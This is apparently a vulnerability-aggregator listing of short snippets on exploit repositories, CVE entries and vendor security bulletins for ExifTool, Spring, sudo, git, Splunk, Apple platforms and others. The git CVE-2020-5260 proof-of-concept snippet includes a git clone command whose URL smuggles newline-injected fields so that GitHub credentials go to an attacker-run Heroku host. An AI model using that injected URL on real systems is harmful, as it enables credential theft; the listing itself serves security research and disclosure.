exploit-CVE-2021-22204

Exploit for CVE-2021-22204 ExifTool - Arbitrary Code Execution Like this repo? Give us a ⭐! For educational and authorized security research purposes only. Exploit Author @UNICORDev by @NicPWNs and @Dev-Yeoj Vulnerability Description Improper neutralization of user data in the DjVu file format in...

CVE-2024-22243

CVE-2024-22243 Author: Sean Pesce This project contains an example web application that demonstrates exploitable scenarios for CVE-2024-22243, a URL-parsing vulnerability in the Java Spring Framework official disclosure here. Vulnerability Affected versions of Spring parse the "userinfo" segment ...

CVE-2017-1000367

CVE-2017-1000367 We discovered a vulnerability in Sudo’s getprocessttyname for Linux: this function opens “/proc/pid/stat” man proc and reads the device number of the tty from field 7 ttynr. Unfortunately, these fields are space-separated and field 2 comm, the filename of the command can contain...

cve-2020-5260

cve-2020-5260 一个针对 cve-2020-5260 的 HTTP PoC 端点，可部署到 Heroku 致谢信息 Google Project Zero 的 Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 触发漏洞 root@kitploit: git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh' 将 PoC 部署到 Heroku...

ntfsDump

ntfsDump Use to copy a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. Similar to https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1 Reference:https://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib...

caos-os

CAOS — Customer Assurance Operating System Answer the security questionnaires your customers send you, once. Every company that handles customer data gets the same requests over and over: security questionnaires, privacy assessments, vendor risk reviews, procurement due diligence, evidence...

patch-CVE-2026-28001

Patch: CVE-2026-28001 Vulnerability Details CVE : CVE-2026-28001 Product : Splunk Enterprise Description : Remote code execution in SPL parsing Severity : Critical Patch Status: DEPLOYED...

Security Bulletin: IBM WebSphere Application Server Liberty is affected by uncontrolled resource consumption vulnerabilities due to Apache Neethi (CVE-2026-66142, CVE-2026-66143, CVE-2026-66144)

Summary There is a vulnerability in the Apache Neethi library that affects IBM WebSphere Application Server Liberty with the jaxws-2.2, xmlWS-3.0, and xmlWS-4.0 enabled. Vulnerability Details CVEID:CVE-2026-66142 DESCRIPTION: Apache Neethi is vulnerable to uncontrolled recursion when parsing...

CVE-2013-2977

IBM Lotus Notes PNG Integer Overflow - CVE-2013-2977 IBM Lotus Notesは、共同作業クライアント・サーバープラットフォームのクライアントであり、IBM Lotus Dominoがアプリケーションサーバーです。メールクライアント機能は、その最も重要で広く使われている機能の1つです。IBM Lotus Notesは、メールに埋め込まれたPNG画像ファイルを正しく解析できません。悪意のあるメールが開かれるか、プレビューされるだけで任意のコード実行が可能であることが実証されています。 概要 タイトル: IBM Lotus Notes...

regreSSHion-Checker

OpenSSH Security Auditor regreSSHion & 2026 Flaws A lightweight, non-intrusive Python tool designed to check if remote SSH servers are vulnerable to critical OpenSSH exploits. It extracts and parses SSH banners to detect vulnerable versions and factors in OS-specific security backports specifical...

nginx:1.26 security update

1.26.3-9.4.0.1 - Require oracle-indexhtml 2:1.26.3-14 - Fixes CVE-2026-42533 2:1.26.3-13 - Fixes CVE-2026-56434 and CVE-2026-60005 2:1.26.3-12 - Resolves: RHEL-191774 - nginx: 'HTTP/2 bomb' nginx fix breaks module ABI causing crashes 2:1.26.3-11 - nginx:1.26/nginx: HTTP/2: Remote Denial of Servic...

MiracleLinux 8 : gstreamer1-plugins-base-1.16.1-7.el8_10 (AXSA:2026-1837:02)

The remote MiracleLinux 8 host has packages installed that are affected by a vulnerability as referenced in the AXSA:2026-1837:02 advisory. gstreamer1-plugins-base: gstreamer: NULL/invalid-pointer dereference in gstrtspmessageparseauthcredentials when parsing a crafted Digest...

CVE-2026-91197

Flowable flowable-engine through 8.0.0 contains an XML External Entity (XXE) injection in ProcessDiagramLayoutFactory.parseXml() , which fails to disable external entity resolution when parsing deployed BPMN resources. Attackers with process deployment privileges can embed DOCTYPE declarations wi...

Security Bulletin: IBM Virtualization Engine TS7700 is susceptible to multiple vulnerabilities in Python.

Summary IBM Virtualization Engine TS7700 is susceptible to two Tampering conditions and one potential Elevation of Privilege issue due to the use of Python CVE-2025-0938, CVE-2025-47273, CVE-2025-1795. TS7700 uses Python to perform operations with the Cloud and internal system configuration tasks...

CVE-2026-86902

A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27, macOS Sonoma 14.8.8. An app may be able to access sensitive user data...

CVE-2026-65382

A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data...

EUVD-2026-78107

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted 3D model may lead to memo...

CVE-2026-84532

Apple fixed an out-of-bounds read vulnerability across multiple platforms by improving input validation. The flaw can be triggered by opening a maliciously crafted file , potentially causing unexpected process termination or disclosure of process memory . The issue is resolved in iOS 26.7 , iPadO...

EUVD-2026-77882

A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27, macOS Sonoma 14.8.8. An app may be able to access sensitive user data...

CVE-2026-86902

CVE-2026-86902 is a parsing issue in directory path handling in macOS , where insufficient path validation allowed an app to access sensitive user data . The flaw was addressed with improved path validation logic. The issue is fixed in macOS Golden Gate 27 and macOS Sonoma 14.8.8 . No exploitatio...